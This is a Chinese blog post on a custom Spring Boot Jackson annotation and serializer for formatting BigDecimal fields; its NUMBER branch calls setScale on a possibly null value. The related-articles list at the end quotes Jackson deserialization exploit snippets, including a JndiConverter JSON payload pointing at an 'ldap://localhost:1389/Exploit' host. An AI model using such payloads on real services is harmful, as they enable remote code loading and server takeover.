SpringBoot自定义Jackson注解,实现自定义序列化BigDecimal(增强JsonFormat注解)

这篇具有很好参考价值的文章主要介绍了SpringBoot自定义Jackson注解,实现自定义序列化BigDecimal(增强JsonFormat注解)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

需求背景

在处理BigDecimal字段的时候,希望自定义序列化格式。虽然有 JsonFormat可以自定义格式,但是还是不够,JsonFormat不能对 BigDecimal 进行个性化处理,比如指定的RoundingMode。 现在就是需要有个注解,可以实现自定序列化BigDecimal类型

代码

首先,自定义一个注解 BigDecimalFormatter

@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
@JacksonAnnotationsInside
@Documented
public @interface BigDecimalFormatter {

    String pattern() default "###.##";

    JsonFormat.Shape shape() default JsonFormat.Shape.NUMBER;

    int newScale() default 2;

    RoundingMode roundingMode() default RoundingMode.HALF_UP;

}

实现一个 JsonSerializer ,可以参考Jackson的内置的一些Serializer。 我们这里直接集成 StdSerializer

/**
 * @author jianyang.liu
 * @date 8/7/2023 3:43 PM
 */
@JsonComponent
public class BigDecimalSerializer extends StdSerializer<BigDecimal> implements ContextualSerializer {

    private  String pattern;

    private  JsonFormat.Shape shape;

    private  int newScale;

    private  RoundingMode roundingMode;


    public BigDecimalSerializer(){
        super(BigDecimal.class);
    }

    public BigDecimalSerializer(BigDecimalFormatter annotation){
        super(BigDecimal.class);
        this.pattern = annotation.pattern();
        this.shape = annotation.shape();
        this.newScale = annotation.newScale();
        this.roundingMode = annotation.roundingMode();
    }


    @Override
    public void serialize(BigDecimal value, JsonGenerator jsonGenerator, SerializerProvider serializerProvider) throws IOException {

        if (shape == JsonFormat.Shape.STRING){
            String output = null;
            if (value != null) {
                output = new DecimalFormat(pattern).format(value);
            }
            jsonGenerator.writeString(output);
        }else{
            BigDecimal output = value.setScale(newScale, roundingMode);
            jsonGenerator.writeNumber(output);
        }

    }


    @Override
    public JsonSerializer<?> createContextual(SerializerProvider serializerProvider, BeanProperty beanProperty) {
        AnnotatedMember member = beanProperty.getMember();
        BigDecimalFormatter annotation = member.getAnnotation(BigDecimalFormatter.class);
        if (annotation != null){
            return new BigDecimalSerializer(annotation);
        }
        return NumberSerializer.instance;
    }
}

说明: @JsonComponent 注解 是SpringBoot的一个注解,是为了方便将自定义的Jackson配置 有了这个注解,就不需要手动添加到 ObjectMapper 的配置中去了

如何使用

提示:这里可以添加技术名词解释

public class TestDemo{


	@BigDecimalFormatter(shape = JsonFormat.Shape.NUMBER,newScale = 4,roundingMode = RoundingMode.HALF_UP)
    private BigDecimal value;
    
    @BigDecimalFormatter(shape = JsonFormat.Shape.STRING,pattern = "###.##")
    private BigDecimal value2;

}

小结

通过这个注解,就可以很方便的实现对Bigdecimal的格式化控制,shape = JsonFormat.Shape.STRING 返回的json数据会是字符串类型,也就是说值会带引号,这一点需要注意。文章来源地址https://www.toymoban.com/news/detail-696257.html

到了这里,关于SpringBoot自定义Jackson注解,实现自定义序列化BigDecimal(增强JsonFormat注解)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • JSON序列化/反序列化,指定自定义字段名key转换注解配置

    实体类案例: 正常序列化和反序列化JSON对应为: 案例: 实体类的属性上面增加@JsonProperty(“字段名”)注解(fastjson) 在springboot请求接口返回对象得到的结果:(因为springboot使用fastjson序列化对象) json字符串为: 实体类属性上增加@JSONField(name = “属性名”)注解(alibaba.fastjson) 代

    2024年02月10日
    浏览(25)
  • SpringBoot利用自定义json序列化器实现敏感字段数据脱敏

    物料准备: 1.hutool依赖 2.自定义的jackson序列化器 3.测试@JsonSerialize效果 因为案例代码用到了hutool提供的DesensitizedUtil数据脱敏工具类,这里要引入hutool的依赖。 如果你需要自定义 数据脱敏的逻辑,可以不引入这个依赖 自定义一个手机号脱敏序列化器 自定义一个邮箱脱敏序列化

    2024年02月12日
    浏览(55)
  • jackson null值 序列化

    在Jackson中,序列化时将 null 值转换为字符串(例如,输出为 \\\"null\\\" 而不是忽略或输出 null )通常不是标准行为,但可以通过自定义序列化处理器来实现。 以下是一个简单的示例,演示如何创建一个自定义 JsonSerializer ,用于将所有类型的 null 值序列化为字符串 \\\"null\\\" : 全局注

    2024年01月18日
    浏览(29)
  • java序列化之Jackson

    当涉及到在Java中进行JSON序列化和反序列化时,Jackson和Gson是两个最常用的库。它们都提供了强大的功能来处理JSON数据,但在某些方面有一些不同之处。 Jackson 是一个功能强大且灵活的 JSON 处理库,由 FasterXML 维护。以下是 Jackson 的一些特点 Jackson 提供了广泛的功能,包括 J

    2024年02月22日
    浏览(34)
  • JackSon反序列化通杀

    Springboot一般都会自带 JackSon 这个依赖包, JackSon 跟 Fastjson 有相同的功效 运行即可弹计算器 PoJoNode 类是继承 ValueNode , ValueNode 是继承 BaseJsonNode 类,我们看看 BaseJsonNode 类 它拥有 writeReplace 方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个 writeReplace 方法,

    2024年04月12日
    浏览(22)
  • RabbitMQ 消息对象通过 Jackson 库消息转化器 序列化/反序列化 天坑!

    目录 1. 报错的背景 2. 问题分析 3. 最佳解决办法 a)使用 RabbitMQ 发送消息时,发送消息的类型为 MapString, Object,map 里面我 put 了一个 String, Long 类型,如下图: b)这里有一个前提:我清楚使用 org.springframework.amqp.rabbit.core.RabbitTemplate 来发送消息到 RabbitMQ 队列时,消息的序列

    2024年04月15日
    浏览(51)
  • Jackson--FastJson--XStream--代码执行&&反序列化

    2.0.0 = FasterXML jackson-databind Version = 2.9.10.2 不受影响版本 FasterXML jackson-databind = 2.8.11.5 FasterXML jackson-databind = 2.9.10.3 POC: String json = \\\"[\\\"org.apache.xbean.propertyeditor.JndiConverter\\\", {\\\"asText\\\":\\\"ldap://localhost:1389/Exploit\\\"}]\\\"; FasterXML jackson-databind 2.x 2.9.10.8 POC String payload = \\\"[\\\"com.oracle.wls.shaded.org.apa

    2024年02月08日
    浏览(43)
  • Redis添加LocalDateTime时间序列化/反序列化Java 8报‘jackson-datatype-jsr310’问题

    错误信息: 1、增加pom依赖 2、对应字段增加属性

    2024年02月11日
    浏览(29)
  • Jackson序列化Bean额外属性附加--@JsonAnyGetter、@JsonUnwrapped用户

    有一项工作,需要将数据从一个服务S中读取出来(得到的是一个JSON),将数据解析转换以后构造成一个数组的类型A的对象,写入到一个服务T中。 A.class 在发现需要增加一种类型A的字类型B,这个类型属性非常多(将近一百),在这种情形下,如果直接定义出类型B来,定义那

    2024年01月24日
    浏览(54)
  • 【Linux】简单的网络计算器的实现(自定义协议,序列化,反序列化)

    我们需要实现一个服务器版的加法器. 我们需要客户端把要计算的两个加数发过去, 然后由服务器进行计算, 最后再把结果返回给客户端` 详细可参考我之前写的博客【Linux】记录错误信息日志的实现

    2024年02月19日
    浏览(44)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包